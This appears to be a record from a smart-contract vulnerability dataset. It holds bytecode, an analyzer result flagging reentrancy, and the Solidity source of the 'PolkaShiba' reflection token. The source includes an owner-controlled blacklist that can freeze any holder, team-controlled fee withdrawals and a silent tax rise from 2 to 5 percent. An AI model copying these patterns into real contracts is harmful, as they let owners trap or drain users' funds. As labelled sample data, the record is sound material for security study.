272d565b8061266f5761266e6128f8565b5b50505050565b60006126b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290c565b905092915050565b60008060006126cc61296f565b915091506126e3818361267590919063ffffffff16565b9250505090565b6000600d541480156126fe57506000600e54145b156127085761272b565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b60008060008060008061273f876129ce565b95509550955095509550955061279d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287e81612ade565b6128888483612b9b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e59190613683565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612953576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294a91906134a1565b60405180910390fd5b5060008385612962919061380f565b9050809150509392505050565b600080600060065490506000678ac7230489e8000090506129a3678ac7230489e8000060065461267590919063ffffffff16565b8210156129c157600654678ac7230489e800009350935050506129ca565b81819350935050505b9091565b60008060008060008060008060006129eb8a600d54600e54612bd5565b92509250925060006129fb6126bf565b90506000806000612a0e8e878787612c6b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f3565b905092915050565b6000808284612a8f91906137b9565b905083811015612ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acb906135a3565b60405180910390fd5b8091505092915050565b6000612ae86126bf565b90506000612aff8284612cf490919063ffffffff16565b9050612b5381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb082600654612a3690919063ffffffff16565b600681905550612bcb81600754612a8090919063ffffffff16565b6007819055505050565b600080600080612c016064612bf3888a612cf490919063ffffffff16565b61267590919063ffffffff16565b90506000612c2b6064612c1d888b612cf490919063ffffffff16565b61267590919063ffffffff16565b90506000612c5482612c46858c612a3690919063ffffffff16565b612a3690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c848589612cf490919063ffffffff16565b90506000612c9b8689612cf490919063ffffffff16565b90506000612cb28789612cf490919063ffffffff16565b90506000612cdb82612ccd8587612a3690919063ffffffff16565b612a3690919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d075760009050612d69565b60008284612d159190613840565b9050828482612d24919061380f565b14612d64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5b906135c3565b60405180910390fd5b809150505b92915050565b6000612d82612d7d84613738565b613713565b90508083825260208201905082856020860282011115612da557612da4613ade565b5b60005b85811015612dd55781612dbb8882612ddf565b845260208401935060208301925050600181019050612da8565b5050509392505050565b600081359050612dee81613ede565b92915050565b600081519050612e0381613ede565b92915050565b60008083601f840112612e1f57612e1e613ad9565b5b8235905067ffffffffffffffff811115612e3c57612e3b613ad4565b5b602083019150836020820283011115612e5857612e57613ade565b5b9250929050565b600082601f830112612e7457612e73613ad9565b5b8135612e84848260208601612d6f565b91505092915050565b600081359050612e9c81613ef5565b92915050565b600081359050612eb181613f0c565b92915050565b600060208284031215612ecd57612ecc613ae8565b5b6000612edb84828501612ddf565b91505092915050565b600060208284031215612efa57612ef9613ae8565b5b6000612f0884828501612df4565b91505092915050565b60008060408385031215612f2857612f27613ae8565b5b6000612f3685828601612ddf565b9250506020612f4785828601612ddf565b9150509250929050565b600080600060608486031215612f6a57612f69613ae8565b5b6000612f7886828701612ddf565b9350506020612f8986828701612ddf565b9250506040612f9a86828701612ea2565b9150509250925092565b60008060408385031215612fbb57612fba613ae8565b5b6000612fc985828601612ddf565b9250506020612fda85828601612ea2565b9150509250929050565b600080600060408486031215612ffd57612ffc613ae8565b5b600084013567ffffffffffffffff81111561301b5761301a613ae3565b5b61302786828701612e09565b9350935050602061303a86828701612e8d565b9150509250925092565b60006020828403121561305a57613059613ae8565b5b600082013567ffffffffffffffff81111561307857613077613ae3565b5b61308484828501612e5f565b91505092915050565b6000602082840312156130a3576130a2613ae8565b5b60006130b184828501612e8d565b91505092915050565b6000602082840312156130d0576130cf613ae8565b5b60006130de84828501612ea2565b91505092915050565b6000806000806080858703121561310157613100613ae8565b5b600061310f87828801612ea2565b945050602061312087828801612ea2565b935050604061313187828801612ea2565b925050606061314287828801612ea2565b91505092959194509250565b600061315a8383613166565b60208301905092915050565b61316f816138ce565b82525050565b61317e816138ce565b82525050565b600061318f82613774565b6131998185613797565b93506131a483613764565b8060005b838110156131d55781516131bc888261314e565b97506131c78361378a565b9250506001810190506131a8565b5085935050505092915050565b6131eb816138e0565b82525050565b6131fa81613923565b82525050565b61320981613935565b82525050565b600061321a8261377f565b61322481856137a8565b935061323481856020860161396b565b61323d81613aed565b840191505092915050565b60006132556023836137a8565b915061326082613afe565b604082019050919050565b6000613278603f836137a8565b915061328382613b4d565b604082019050919050565b600061329b602a836137a8565b91506132a682613b9c565b604082019050919050565b60006132be601c836137a8565b91506132c982613beb565b602082019050919050565b60006132e16026836137a8565b91506132ec82613c14565b604082019050919050565b60006133046022836137a8565b915061330f82613c63565b604082019050919050565b60006133276023836137a8565b915061333282613cb2565b604082019050919050565b600061334a601b836137a8565b915061335582613d01565b602082019050919050565b600061336d6021836137a8565b915061337882613d2a565b604082019050919050565b60006133906020836137a8565b915061339b82613d79565b602082019050919050565b60006133b36029836137a8565b91506133be82613da2565b604082019050919050565b60006133d66025836137a8565b91506133e182613df1565b604082019050919050565b60006133f96023836137a8565b915061340482613e40565b604082019050919050565b600061341c6024836137a8565b915061342782613e8f565b604082019050919050565b61343b8161390c565b82525050565b61344a81613916565b82525050565b60006020820190506134656000830184613175565b92915050565b600060208201905061348060008301846131e2565b92915050565b600060208201905061349b60008301846131f1565b92915050565b600060208201905081810360008301526134bb818461320f565b905092915050565b600060208201905081810360008301526134dc81613248565b9050919050565b600060208201905081810360008301526134fc8161326b565b9050919050565b6000602082019050818103600083015261351c8161328e565b9050919050565b6000602082019050818103600083015261353c816132b1565b9050919050565b6000602082019050818103600083015261355c816132d4565b9050919050565b6000602082019050818103600083015261357c816132f7565b9050919050565b6000602082019050818103600083015261359c8161331a565b9050919050565b600060208201905081810360008301526135bc8161333d565b9050919050565b600060208201905081810360008301526135dc81613360565b9050919050565b600060208201905081810360008301526135fc81613383565b9050919050565b6000602082019050818103600083015261361c816133a6565b9050919050565b6000602082019050818103600083015261363c816133c9565b9050919050565b6000602082019050818103600083015261365c816133ec565b9050919050565b6000602082019050818103600083015261367c8161340f565b9050919050565b60006020820190506136986000830184613432565b92915050565b600060a0820190506136b36000830188613432565b6136c06020830187613200565b81810360408301526136d28186613184565b90506136e16060830185613175565b6136ee6080830184613432565b9695505050505050565b600060208201905061370d6000830184613441565b92915050565b600061371d61372e565b9050613729828261399e565b919050565b6000604051905090565b600067ffffffffffffffff82111561375357613752613aa5565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137c48261390c565b91506137cf8361390c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561380457613803613a18565b5b828201905092915050565b600061381a8261390c565b91506138258361390c565b92508261383557613834613a47565b5b828204905092915050565b600061384b8261390c565b91506138568361390c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561388f5761388e613a18565b5b828202905092915050565b60006138a58261390c565b91506138b08361390c565b9250828210156138c3576138c2613a18565b5b828203905092915050565b60006138d9826138ec565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061392e82613947565b9050919050565b60006139408261390c565b9050919050565b600061395282613959565b9050919050565b6000613964826138ec565b9050919050565b60005b8381101561398957808201518184015260208101905061396e565b83811115613998576000848401525b50505050565b6139a782613aed565b810181811067ffffffffffffffff821117156139c6576139c5613aa5565b5b80604052505050565b60006139da8261390c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a0d57613a0c613a18565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613ee7816138ce565b8114613ef257600080fd5b50565b613efe816138e0565b8114613f0957600080fd5b50565b613f158161390c565b8114613f2057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bd9965b4007e3893d50e5391818f8d20b4189ecf9d1940d5187f484d966a95d864736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 6,035 |
0x2f5f9f63bf4b14c8061eb76bbb14ffe594cebaa4
|
/**
*Submitted for verification at Etherscan.io on 2021-09-18
*/
// READ OUR MEDIUM ARTICLE BEFORE YOU INVEST https://medium.com/@polkashibanft/introducing-polkashibaswap-4a2054932829
// TELEGRAM https://t.me/PolkaShiba
// www.polkashiba.com
// Participate for NFT Airdrop
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract PolkaShiba is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "PolkaShiba";
string private constant _symbol = "pSHIBA";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 50000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3d565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ede565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a01565b6105ad565b6040516101a09190612ec3565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613080565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b2565b6105dc565b6040516102089190612ec3565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c12565b60405161024a91906130f5565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7e565b610c1b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612924565b610ccd565b005b3480156102b157600080fd5b506102ba610dbd565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612924565b610e2f565b6040516102f09190613080565b60405180910390f35b34801561030557600080fd5b5061030e610e80565b005b34801561031c57600080fd5b50610325610fd3565b6040516103329190612df5565b60405180910390f35b34801561034757600080fd5b50610350610ffc565b60405161035d9190612ede565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a01565b611039565b60405161039a9190612ec3565b60405180910390f35b3480156103af57600080fd5b506103b8611057565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ad0565b6110d1565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612976565b61121a565b6040516104179190613080565b60405180910390f35b6104286112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fe0565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613396565b9150506104b8565b5050565b60606040518060400160405280600a81526020017f506f6c6b61536869626100000000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611474565b6106aa846105f56112a1565b6106a5856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b6106bd6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fe0565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294d565b6040518363ffffffff1660e01b815260040161095f929190612e10565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2f565b600080610a45610fd3565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e62565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff0219169083151502179055506802b5e3af16b18800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbc929190612e39565b602060405180830381600087803b158015610bd657600080fd5b505af1158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e9190612aa7565b5050565b60006009905090565b610c236112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd56112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfe6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610e1e57600080fd5b6000479050610e2c81611c97565b50565b6000610e79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b610e886112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c90612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8b